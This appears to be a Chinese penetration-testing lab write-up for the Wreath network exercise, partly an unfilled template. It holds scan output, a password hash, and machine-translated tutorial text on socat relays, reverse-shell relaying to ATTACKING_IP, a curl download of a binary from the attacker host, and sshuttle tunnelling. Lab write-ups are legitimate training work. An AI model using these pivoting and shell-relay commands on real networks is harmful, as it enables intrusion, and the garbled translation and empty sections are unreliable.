一句话总结:
🚀 靶场概述
难度:
描述: 了解如何通过入侵面向公众的 Web 计算机并通过隧道传输您的流量以访问 Wreath 网络中的其他计算机来通过网络进行转换
📋 基本信息
🚀 | 本地机器信息 | 目标机器信息 | |
---|---|---|---|
IP | 10.50.86.16 | 10.200.85.200 | |
OS | Kali |
🔍 信息搜集
1. 🛠️ 端口扫描
使用工具如
nmap
或masscan
进行端口扫描,发现目标机器开放的端口。1
2
3
4
5
6
7naabu -host 10.200.85.200
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
80/tcp open http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1c)
443/tcp open ssl/http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1c)
10000/tcp open http MiniServ 1.890 (Webmin httpd)
Aggressive OS guesses: Linux 3.10 - 3.13 (90%)
2. 🔎 路径探测
- 扫描网站或系统的开放路径,寻找潜在的漏洞。
1
2
3
gobuster dir -u http://10.17.5.121 -w /usr/share/wordlists/dirb/common.txt
dirb http://10.17.5.121
3. 🧰 服务枚举
- 对服务进行详细的枚举,寻找潜在漏洞。
- 使用工具如
nmap
、nikto
、dirbuster
等。
- 使用工具如
🧠 渗透思路
1. ⚡ 攻击向量
1 | 10000/tcp open http MiniServ 1.890 (Webmin httpd) |
2. 💥 nday 利用
3. 🔍 信息审计
1 | $6$i9vT8tk3SoXXxK2P$HDIAwho9FOdd4QCecIJKwAwwh8Hwl.BdsbMOUAd3X/chSCvrmpfy.5lrLgnRVNq6/6g0PxK9VqSdy47/qKXad1 |
🌐 Web 渗透测试
- Web 漏洞扫描:使用 Burp Suite、Nikto 等工具进行 Web 应用的扫描。
- 漏洞利用:利用常见漏洞,如 SQL 注入、XSS 等,进行进一步测试。
🔐 横向移动与后渗透操作
- 横向移动:一旦获取基础 shell,搜索网络内其他潜在目标,进行横向渗透。
- 后渗透操作:
- 获取敏感信息(如数据库、用户凭证)。
- 持久化访问,通过反向 shell、计划任务等手段保持连接。
🕵️♂️ 漏洞利用
漏洞名称:<漏洞名称>
- 描述:<漏洞描述>
- 利用过程:
- 漏洞分析:<简要描述漏洞的成因>
- 编写利用脚本 或 使用现有工具:<如何利用>
- 验证漏洞是否有效:<验证步骤>
- 获取相关权限或信息:<攻击目标后获取的权限>
💻 getshell
- 描述:通过漏洞获取目标机器的 shell(命令行访问)。
- 步骤:
🔨 提权
- 描述:在目标系统中进行权限提升,获取 root 权限。
- 步骤:
- 查看当前用户和权限:
1
2whoami
id - 查找本地提权漏洞或配置错误:
- 使用
linpeas
、GTFOBins
查找提权方法。
- 使用
- 提升权限至 root 用户:
1
sudo /bin/bash # 提升为 root
- 查看当前用户和权限:
隧道代理和端口转发
我们用于透视的方法往往因不同的目标操作系统而异。像 Metasploit 这样的框架可以简化这个过程,但是,目前,我们将寻找更多的手动技术来进行透视。
渗透测试的这一领域包含两种主要方法:
隧道/代理: 通过受感染的计算机创建代理类型的连接,以便将所有所需的流量路由到目标网络。这也可能在另一个协议(例如 SSH 隧道)内_进行隧道_传输,这对于规避基本 Intrusion Detection System (IDS) 或防火墙非常有用
端口转发:通过受损主机在本地端口和目标上的单个端口之间创建连接
如果我们想将大量不同类型的流量重定向到我们的目标网络 – 例如,使用 nmap 扫描,或者访问多台不同机器上的多个端口,那么代理是很好的。
端口转发往往更快、更可靠,但只允许我们访问目标设备上的单个端口(或小范围)。
哪种 pivoting 样式更合适完全取决于网络的布局,因此在决定如何进行之前,我们必须从进一步的枚举开始。此时,明智的做法是开始绘制您所看到的网络布局 —— 尽管在这个练习网络的情况下,布局在屏幕顶部的框中给出。
作为一般规则,如果您有多个可能的入口点,请尽可能使用 Linux/Unix 目标,因为这些目标往往更容易从中转。面向外部的 Linux Web 服务器绝对是理想的选择。
本节中的其余任务将涵盖以下主题:
- 使用本机和静态编译工具枚举网络
- 代理链 / FoxyProxy
- SSH 端口转发和隧道(主要是 Unix)
- plink.exe (Windows)
- socat(Windows 和 Unix)
- 凿子 (Windows 和 Unix)
- sshuttle (目前仅限 Unix)
ocat 不仅非常适合完全稳定的 Linux shell[1],也非常适合端口转发。socat 的一大缺点(除了经常出现的问题 人们已经学习了语法),因为它很少由 default 在目标上。也就是说,静态二进制文件很容易找到 Linux 和 Windows 都可用。 请记住,Windows 版本不太可能绕过防病毒软件 software 默认,因此可能需要自定义编译。在我们开始之前,值得注意的是:如果您已经完成了 What the Shell?房间,您将知道 Socat 可用于创建加密连接。此处显示的技术可以与 shells room 中详述的加密选项相结合,以创建加密的端口转发和中继。为避免使本节过于复杂,这里不会教授这种技术;但是,在您自己的时间进行实验是非常值得的。
虽然以下技术不能用于将完整代理设置到目标网络中,但很有可能使用它们成功地转发来自 Linux 和 Windows 受损目标的端口。特别是,socat 是一个非常好的中继:例如,如果您试图在与攻击计算机没有直接连接的目标上获取 shell,则可以使用 socat 在当前受感染的机器上设置中继。这将监听来自目标的反向 shell,然后立即将其转发回攻击框:
最好将 socat 视为将两件事连接在一起的一种方式——有点像 Portal 游戏中的 Portal Gun,它在两个不同的位置之间建立了联系。这可以是同一台机器上的两个端口,可能是在两台不同的机器之间创建一个中继,可能是在端口和监听机器上的文件之间创建一个连接,或者许多其他类似的事情。这是一个非常强大的工具,非常值得您在自己的时间里研究。
然而,一般来说,黑客倾向于使用它来创建反向/绑定 shell,或者如上例所示,创建一个端口转发。具体来说,在上面的示例中,我们将创建一个_从_受感染服务器上的端口转发_到_我们自己机器上的侦听端口的端口。不过,我们可以用另一种方式来实现,通过将连接从攻击机器转发到网络内部的目标,或者在_攻击机器_上的侦听端口与内部服务器上的服务之间创建直接链接。后一个应用程序特别有用,因为它不需要在受感染的服务器上打开端口。
在使用 socat 之前,通常需要为它下载一个二进制文件,然后将其上传到盒子中。
例如,使用 Python Web 服务器:-
在 Kali 上(在包含 Socat 二进制文件的目录内):
sudo python3 -m http.server 80
然后,在目标上:curl ATTACKING_IP/socat -o /tmp/socat-USERNAME && chmod +x /tmp/socat-USERNAME
上传二进制文件后,让我们依次看一下上述每个场景。
注意:这将上传标题中带有您的用户名的 socat 二进制文件;但是,此任务其余部分给出的示例命令将二进制文件简称为 .socat
Reverse Shell 继电器
在这个场景中,我们使用 socat 创建一个中继,以便我们将反向 shell 发送回我们自己的攻击机器(如上图所示)。首先,让我们在攻击框 () 上启动一个标准的 netcat 监听器。接下来,在受损的服务器上,使用以下命令启动中继:sudo nc -lvnp 443
./socat tcp-l:8000 tcp:ATTACKING_IP:443 &
注意:这两个地址的顺序在这里很重要。确保先打开侦听端口,_然后再_连接回攻击机器。
然后,我们可以从这里创建一个反向 shell,指向受感染服务器上新打开的端口 8000。以下屏幕截图演示了这一点,在远程服务器上使用 netcat 模拟从目标服务器接收反向 shell:
上述命令的简要说明:
tcp-l:8000
用于创建连接的前半部分 – 目标计算机的 TCP 端口 8000 上的 IPv4 侦听器。tcp:ATTACKING_IP:443
在端口 443 上连接回我们的本地 IP。显然,需要正确填写ATTACKING_IP才能正常工作。&
将侦听器置于后台,将其转换为 Job,以便我们仍然可以使用 shell 来执行其他命令。
中继连接回使用标准 netcat 侦听器的别名启动的侦听器:。sudo nc -lvnp 443
通过这种方式,我们可以设置一个中继,通过受感染的系统发送反向 shell,回到我们自己的攻击机器。这种技术也可以很容易地被链接起来;但是,在许多情况下,仅上传 Netcat 的静态副本以直接在受感染的服务器上接收反向 shell 可能更容易。
端口转发 – Easy
使用 socat 设置端口转发的快速简便的方法非常简单,就是在受感染的服务器上打开一个侦听端口,并将进入其中的任何内容重定向到目标服务器。例如,如果受损的服务器是 172.16.0.5,目标是 172.16.0.10 的端口 3306,我们可以使用以下命令(在受损的服务器上)创建端口转发:./socat tcp-l:33060,fork,reuseaddr tcp:172.16.0.10:3306 &
这会在受感染的服务器上打开端口 33060,并将来自攻击机器的输入直接重定向到预期的目标服务器,基本上让我们可以访问在我们的目标 172.16.0.10 上运行的(可能是 MySQL 数据库)。该选项用于将每个连接放入新进程中,该选项表示在建立连接后端口保持打开状态。它们结合起来,允许我们对多个连接使用相同的端口转发。我们再次用于 shell 的后台,允许我们在受感染的服务器上继续使用相同的终端会话来处理其他事情。fork``reuseaddr``&
现在,我们可以连接到中继 (172.16.0.5) 上的端口 33060,并将我们的连接直接中继到我们的预期目标 172.16.0.10:3306。
端口转发 – 安静
以前的技术既快速又简单,但它也会在受感染的服务器上打开一个端口,该端口可能会被任何类型的主机或网络扫描发现。虽然风险并不_大_,但了解一种稍微安静的 socat 端口转运方法是值得的。此方法稍微复杂一些,但不需要在受感染的服务器上从外部打开端口。
首先,在我们自己的攻击机器上,我们发出以下命令:socat tcp-l:8001 tcp-l:8000,fork,reuseaddr &
这将打开两个端口:8000 和 8001,从而创建一个本地端口中继。进入其中一个的东西会从另一个出来。因此,端口 8000 还设置了 and 选项,以允许我们使用此端口转发创建多个连接。fork``reuseaddr
接下来,在受损的中继服务器(上一个示例中为 172.16.0.5)上,我们执行以下命令:./socat tcp:ATTACKING_IP:8001 tcp:TARGET_IP:TARGET_PORT,fork &
这会在攻击机器上的监听端口 8001 和目标服务器的开放端口之间建立连接。要使用之前的虚构网络,我们可以输入以下命令:./socat tcp:10.50.73.2:8001 tcp:172.16.0.10:80,fork &
这将在我们的攻击机器上的端口 8000 和预期目标 (172.16.0.10) 上的端口 80 之间创建一个链接,这意味着我们可以在攻击机器的 Web 浏览器中加载目标提供的网页:172.16.0.10:80!localhost:8000
这是一个相当复杂的可视化场景,因此让我们快速了解一下当您尝试在浏览器中访问网页时会发生什么:
- 请求将转到
127.0.0.1:8000
- 由于我们在自己的机器上启动了 socat 侦听器,任何进入端口 8000 的东西都会从端口 8001 出来
- 端口 8001 直接连接到我们在受感染服务器上运行的 socat 进程,这意味着从端口 8001 传出的任何内容都会被发送到受感染的服务器,在那里它被中继到目标服务器上的端口 80。
然后,当目标发送响应时,该过程将反转:
- 响应将发送到受感染服务器上的 socat 进程。进入进程的内容从另一端出来,恰好直接链接到我们攻击机器上的端口 8001。
- 进入我们攻击机器上端口 8001 的任何内容都来自我们攻击机器上的端口 8000,这是 Web 浏览器希望接收其响应的地方,因此页面被接收和呈现。
我们现在实现了与以前相同的目标,但没有在服务器上打开任何端口!
最后,我们已经学习了如何_创建_后台 socat 端口转发和中继,但知道如何_关闭_它们也很重要。解决方案很简单:在终端中运行命令,然后使用 :jobs``kill %NUMBER
这个工具与我们到目前为止介绍的其他工具完全不同。它不执行端口转发,它创建的代理与我们已经看到的完全不同。相反,它使用 SSH 连接来创建隧道代理,其作用类似于新接口。简而言之,它模拟了一个 VPN,允许我们通过代理路由我们的流量_,而无需使用 proxychains_(或等效的)。我们可以像通常连接到联网设备一样直接连接到目标网络中的设备。由于它通过 SSH(安全 shell)创建隧道,因此我们通过隧道发送的任何内容也被加密,这是一个不错的奖励。我们完全在攻击机器上使用 sshutt,就像我们通过 SSH 连接到远程服务器一样。
虽然这听起来像是一个令人难以置信的升级,但它并非没有缺点。首先,sshuttle 仅适用于 Linux 目标。它还需要通过 SSH 访问受感染的服务器,并且还需要在服务器上安装 Python。也就是说,通过 SSH 访问,理论上可以上传 Python 的静态副本并使用它。这些限制确实在一定程度上限制了 sshuttle 的用途;然而,当_它是一个_选项时,它往往是一个极好的赌注!
首先,我们需要安装 sshuttle。在 Kali 上,这就像使用包管理器一样简单:apt
sudo apt install sshuttle
使用 sshuttle 连接到服务器的基本命令如下:sshuttle -r username@address subnet
例如,在我们虚构的 172.16.0.x 网络中,服务器位于 172.16.0.5 并遭到入侵,命令可能如下所示:sshuttle -r user@172.16.0.5 172.16.0.0/24
然后,系统会要求我们输入用户的密码,并建立代理。然后,该工具将被动地位于后台,并将相关流量转发到目标网络。
除了指定子网,我们还可以使用选项,该选项尝试根据受感染服务器自己的路由表自动确定它们:-N
sshuttle -r username@address -N
请记住,这可能并不总是成功的!
与以前的工具一样,这些命令也可以通过在末尾附加 & () 符号来作为后台。&
如果这有效,您应该会看到以下行:c : Connected to server.
嗯,这很好,但是如果我们没有用户的密码,或者服务器只接受基于密钥的身份验证,会发生什么情况呢?
不幸的是,sshuttle 目前似乎没有指定用于向服务器进行身份验证的私钥的简写。也就是说,我们可以使用开关轻松绕过此限制。--ssh-cmd
此开关允许我们指定在尝试对受感染的服务器进行身份验证时由 sshuttle 执行的命令。默认情况下,这没有参数。通过开关,我们可以选择不同的命令来执行身份验证:例如,,!ssh``--ssh-cmd``ssh -i keyfile
因此,当使用基于密钥的身份验证时,最终命令如下所示:sshuttle -r user@address --ssh-cmd "ssh -i KEYFILE" SUBNET
使用我们之前的示例,命令将是:sshuttle -r user@172.16.0.5 --ssh-cmd "ssh -i private_key" 172.16.0.0/24
请注意:使用 sshuttle 时,您可能会遇到如下所示的错误:client: Connected. client_loop: send disconnect: Broken pipe client: fatal: server died with error code 255
当您连接到的受感染计算机是您尝试访问的子网的一部分时,可能会发生这种情况。例如,如果我们连接到 172.16.0.5 并尝试转发 172.16.0.0/24,那么我们会将受感染的服务器包含在新转发的子网中,从而中断连接并导致工具死机。
为了解决这个问题,我们告诉 sshuttle 使用交换机从子网范围中排除受感染的服务器。-x
使用我们之前的示例:sshuttle -r user@172.16.0.5 172.16.0.0/24 -x 172.16.0.5
这将允许 sshuttle 在不中断自身的情况下创建连接。
内网渗透
代理隧道
1 | sshuttle -r root@10.200.85.200 --ssh-cmd "ssh -i id_rsa" 10.200.85.200/24 -x 10.200.85.200 |
📚 知识点回顾
- 信息搜集技巧:
- 端口扫描与服务枚举技巧。
- Web 漏洞检测技巧(SQL 注入、XSS 等)。
- 漏洞利用技巧:
- 如何使用 Metasploit 或自行编写漏洞利用脚本。
- 获取反向 shell 与持续访问。
- Post-Exploitation 技巧:
- 获取目标的敏感信息和访问权限。
- 提升权限,进行横向移动。
🧳 攻击链与流程图
- 可视化渗透测试的整体攻击过程,确保每一步都清晰。
📅 总结
- 成功步骤:简要描述成功的渗透测试步骤和关键点。
- 遇到的困难与挑战:列出在过程中遇到的难点及解决方案。
- 后续建议:对靶场的进一步探索或防御建议。